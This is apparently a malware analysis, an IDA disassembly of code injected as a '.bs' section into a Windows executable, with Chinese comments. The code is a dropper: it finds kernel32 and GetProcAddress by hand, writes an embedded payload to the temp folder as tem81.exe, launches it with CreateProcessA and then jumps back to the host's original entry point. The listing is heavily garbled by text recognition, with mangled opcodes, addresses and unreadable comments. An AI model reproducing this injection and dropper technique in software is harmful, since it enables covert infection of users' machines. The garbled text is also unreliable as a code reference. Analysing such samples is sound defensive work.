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.bs:007DCO000 ;
.bs:007DC0O00
.bs:007DC000
.bs:007DC000

.bs:007DCO000 start

.bs:007DC000

.bs:007DCO000 var_44

.bs:007DC000
.bs:007DC000
.bs:007DCO005
.bs:007DC006
.bs:007DC006
H
.bs:007DC006
.bs:007DC0O0C
.bs:007DCO0C
.bs:007DCO0C
1L
.bs:007DCOOF
.bs:007DCOOF
.bs:007DCO15

.bs:007DCO015 loc_7DCO15:

.bs:007DCO15
Sk B
.bs:007DCO15
.bs:007DCO1A
.bs:007DCO1C
.bs:007DCO1C
.bs:007DCO1E
.bs:007DC021
.bs:007DC026
.bs:007DC028
.bs:007DC028
.bs:007DC028

GetProcAddress ff ALY

.bs:007DCO02A ;
.bs:007DCO2A

.bs:007DCO02A loc_7DCO2A:

.bs:007DCO2A
.bs:007DCO2A
.bs:007DCO030
.bs:007DCO036

SUBROUTINE

public start

proc near

= dword ptr -44h

call  $+5
pop ebx
sub ebx, (offset loc_401002+3) ; £ #L[1) & @ 7 ARHS
; ebx=3DB000, AR A AR FAENE, SRBEATAH G 1) vt
; FE TSRS APL & 3
mov edi, [espt0]  ; iZALMI ESP {HEI N N LT 5 ESP {1
; AN R4 ESP {H /£ 5 17) ExitThread 1]
s IAFEARIE 2RI AT, Sk 8 R KIS kernel32.d11
and edi, OFFFF0000h ; edi==7¢810000
s M T AR T 2R () bk
; CODE XREF: start+38 j
cmp word ptr [edi], SA4Dh ; AW T K “MZ 78, LLICK A&7 2 kernel32.d11
5 MIMELAS kernel32.d11 (1)l
jnz short loc. 7DCO2A ; A2 ik
mov esi, edi ; ESI==EDI==GetModuleHandle("kernel32.d1l")
; WELE kernel32.d11 3L 0k
add esi, [esi+3Ch] ; ESI=*(esi+3c), 15t /& 45 W] PE Header
cmp word ptr [esi], 4550h ; HIWET A “PE”, LLKCKIGIE R I E % PE L4+
jnz short loc. 7DCO2A ; A&k
jmp short loc_7DCO3A ; 732 1 kernel32.dll [#) 24k
s FIHEE T LUR 2 55 143 2] GetProcAddress T
s FHX BRI R kernel32.d11 (5, Sk 3
; CODE XREF: start+1A |
; start+26  j
sub edi, 10000h 5 BRI LU 10000h, Kgk S5 113 R kernel32.d1l I 5EHE
cmp edi, 70000000h ; LR 4 70000000h

ib

short loc_7DCO3A ; #3421 kernel32.d1l ¥ 2&4ik



.bs:007DC036 o R PUR 2 2 19459 2 GetProcAddress |

bs:007DC036 ; NIHNIX BAR I 8 R kernel32.d11 (% %, K153
GetProcAddress bk 1]

bs:007DC038 jmp short loc_ 7DCO15 ; fEH LR

bs:007DC038 ;DA R BAE SR H R 4G N 1) ESP il 7] ExitThread
.bs:007DC038 ; 1M ExitThread /7T kernel32.dll

bs:007DC038 ; LRI, 193] kernel32.d11 [ 3Lk

.bs:007DCO3A ;
.bs:007DCO3A

.bs:007DCO3A loc_7DCO3A: ; CODE XREF: start+28 j

.bs:007DCO3A ; start+36

.bs:007DCO3A mov dword ptr ds:(loc_4011D8+1)[ebx], edi ; #3#% T kernel32.dll [J3EhE:
.bs:007DCO3A o R PUR 2 5 119459 2 GetProcAddress |
bs:007DCO3A s NTX BRI 2 48 2R kernel32.d11 ISR, SR7G 3
GetProcAddress [k 1]

.bs:007DC040 mov esi, [esi+78h] ; BEHX kernel32.dll (1% H 3%

.bs:007DC040 ; ESI B bt 2 1 RVA, EDI 24 ImageBase
.bs:007DC043 add esi, edi

.bs:007DC045 push esi

.bs:007DC046 mov ebp, [esi+18h]

.bs:007DC049 mov esi, [esi+20h]

.bs:007DC04C add esi, edi

.bs:007DCO4E Xor edx, edx

.bs:007DCO50

.bs:007DCO050 loc_7DCO050: ; CODE XREF: startt75 j

.bs:007DC050 push esi

.bs:007DCO051 mov edi, [esi]

.bs:007DC053 add edi, dword ptr ds:(loc_4011D8+1)[ebx]

.bs:007DC059 lea esi, dword 40119E[ebx]; “GetProcAddress” 47 Hi

.bs:007DCOSF mov ecx, OFh

.bs:007DC064 repe cmpsb

.bs:007DC066 jnz short loc_ 7DCO6E

.bs:007DC068 pop esi

.bs:007DC069 mov edx, esi

.bs:007DC0O6B pop esi

bs:007DCO6C jmp short loc 7DCO7F ; 3KHU T GetProcAddress J&, I [Hak /&S BUAHSE AP T

.bs:007DCO6E ;
.bs:007DCO6E

.bs:007DCO6E loc_7DCO6E: ; CODE XREF: start+66 j

.bs:007DCO6E pop esi

.bs:007DCO6F add esi, 4

.bs:007DCO072 inc edx

.bs:007DC073 cmp edx, ebp

bs:007DCO75 jb short loc_7DCO050 ; AT Z, LIfS 2] GetProcAddress Hilik:

.bs:007DCO077 sub esp, 4



.bs:007DCO7A
.bs:007DCO7A
.bs:007DCO7A
.bs:007DCO7F ;
.bs:007DCO7F

.bs:007DCO7F loc_7DCO7F:

.bs:007DCO7F
.bs:007DCO082
.bs:007DCO88
.bs:007DCOSA
.bs:007DCO8C
.bs:007DCO8F
.bs:007DC091
.bs:007DC094
.bs:007DC097
.bs:007DCO9A
.bs:007DCOA0
.bs:007DCOA2
.bs:007DCOAS8
.bs:007DCOAA
.bs:007DCOAC
.bs:007DCOB2
.bs:007DCOBS
.bs:007DCOB9
.bs:007DCOBA
.bs:007DCOBA
.bs:007DCOBA
.bs:007DCOBC
.bs:007DCOC2
.bs:007DCOC3
.bs:007DCOCS
.bs:007DCOCA
.bs:007DCODO
.bs:007DCOD1
.bs:007DCOD7
.bs:007DCOD8
.bs:007DCODA
.bs:007DCOEO
.bs:007DCOE1
.bs:007DCOE3
.bs:007DCOE6
.bs:007DCOE7
.bs:007DCOE9
.bs:007DCOEF
.bs:007DCOF0

jmp loc_7DC199 s AT RAR], ERkR] 2 B A R
5 UE s AT DA B SR R i 22—
; £.007DCO75 ] jb 5 jmp, B AT Lk HA AT AE K 3015 .
; CODE XREF: start+6C j
sub edx, [esi+20h] ; 3KHUT GetProcAddress &, I IHIELATEHAHRL APL T
mov eax, dword ptr ds:(loc_4011D8+1)[ebx]
sub edx, eax
shr edx, 1
add edx, [esi+24h]
add edx, eax
movzx  eax, word ptr [edx]
shl eax, 2
add eax, [esi+1Ch]
add eax, dword ptr ds:(loc_4011D8+1)[ebx]
mov eax, [eax]
add eax, dword ptr ds:(loc_4011D8+1)[ebx] ; eax HI{E Rl 4 GetProcAddress )ik
mov edi, eax
mov ebp, esp
mov edx, dword ptr ds:(loc_4011D8+1)[ebx]
lea eax, (loc_4011AB+2)[ebx] ; f&1] GetTempPathA 74 i
push eax
push edx
call  edi ; W GetProcAddress K 3kHL GetTempPathA Hilik:
; LB R
; eax=GetProcAddress("edi")
sub esp, 104h
push esp
push 104h
call eax ; WH GetTempPathA
lea eax, (loc_4011B8+2)[ebx]; & MFFFH “IstrcatA”
push eax
mov edx, dword ptr ds:(loc_4011D8+1)[ebx]
push edx
call edi
lea ecx, (loc_4011C2+1)[ebx] ; tem81.exe
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, (loc_4011CB+2)[ebx] ; CreateFileA
push eax
mov edx, dword ptr ds:(loc_4011D8+1)[ebx]



.bs:007DCOF6
.bs:007DCOF7
.bs:007DCOF9
.bs:007DCOFB
.bs:007DCOFD
.bs:007DC102
.bs:007DC104
.bs:007DC106
.bs:007DC108
.bs:007DC10D
.bs:007DC10E

push
call
mov
push
push
push
push
push
push
push

edx
edi

ecx, esp

0

80h

2

0

0
0C0000000h

ecx

call eax 1]

C:\DOCUME~TNADMINI~I\LOCALS~1\Temp\tem81.exe

.bs:007DC110
.bs:007DC112
.bs:007DC118
.bs:007DC119
.bs:007DCI11A
.bs:007DC120
.bs:007DC121
.bs:007DC123
.bs:007DC124
.bs:007DC126
.bs:007DC127
.bs:007DC12A
.bs:007DC12C
.bs:007DC12D
.bs:007DC12E
.bs:007DC133
.bs:007DC135
.bs:007DC136
.bs:007DC138
.bs:007DC13E
.bs:007DC13F
.bs:007DC145
.bs:007DC146
.bs:007DC148
.bs:007DC149
.bs:007DC14B
.bs:007DC151
.bs:007DC152
1bs:007DC158
.bs:007DC159
.bs:007DC15B
.bs:007DC15E
.bs:007DC160

mov
lea
push
push
mov
push
call
pop
push
push
add
mov
push
push
mov
mov
push
call
lea
push
mov
push
call
push
call
lea
push
mov
push
call
sub
mov

mov

esi, eax
ecx, (loc_401203+1)[ebx] ; WriteFile
ecx
ecx
edx, dword ptr ds:(loc_4011D8+1)[ebx]

edx
edi

eCcxX

0

eCcXx

ecx, 0Ah

edx, [ecx] 5 FTEEE N 25 HE A [ECX]=[007DC201]
edx

ecx
edx, 905A4Dh
[ecx], edx
esi
eax
eax, loc_4011EC[ebx] ; CloseHandle
eax
edx, dword ptr ds:(loc_4011D8+1)[ebx]
edx
edi
esi
eax
eax, loc_4011DDJ[ebx] ; CreateProcessA
eax
edx, dword ptr ds:(loc_4011D8+1)[ebx]
edx
edi
esp, 44h
edx, esp
esi, 0



.bs:007DC165 mov ecx, 11h
.bs:007DC16A

.bs:007DC16A loc_7DCI16A: ; CODE XREF: start+16F j
.bs:007DC16A mov [edx], esi

.bs:007DC16C add edx, 4

.bs:007DC16F loop loc_7DC16A

.bs:007DC171 mov edx, 44h

.bs:007DC176 mov [espt44h+var 44], edx

.bs:007DC179 sub esp, 10h

.bs:007DC17C mov edx, esp

.bs:007DC17E push esp

.bs:007DC17F add edx, 10h

.bs:007DC182 push edx

.bs:007DC183 push 0

.bs:007DC185 push 0

.bs:007DC187 push 0

.bs:007DC189 push 0

.bs:007DC18B push 0

.bs:007DC18D push 0

.bs:007DC18F push 0

1bs:007DC191 add edx, 44h

.bs:007DC194 push edx

bs:007DC195 call  eax s BUEEHERE, SRIZATHIEE A ST tem81.exe
.bs:007DC197 mov esp, ebp

.bs:007DC199

.bs:007DC199 loc_7DC199: ; CODE XREF: startt7A ]
bs:007DC199 jmp sub_467393 s R RAT S, BRI 1 AT
.bs:007DC199 start endp

.bs:007DC199

.bs:007DC199 ;

16 S B AR ] 5

LABBN I i ik

WA LAY EP, B2E EP+19AR [{E(ERH 4 N0 A

MWAE UG B A : EP+198h+5h+A

PUAZFE AR 4 461«

AT 5 RVA=003DC000, #4441 offset=003C3000

L offset+19Ah=3C319A AbHI{H (4 “¥71%):F5 B1 C8 FF,Rl FFC8BI1F5

T 1 RVA=3DC000+198h+5h+FFC8B1F5=3DC19D-(FFFFFFFE-FFC8B1F5)=3DC19D-374E0A=67393
MG S5O N 1 s RIE R 69393

2R LRI bs X B






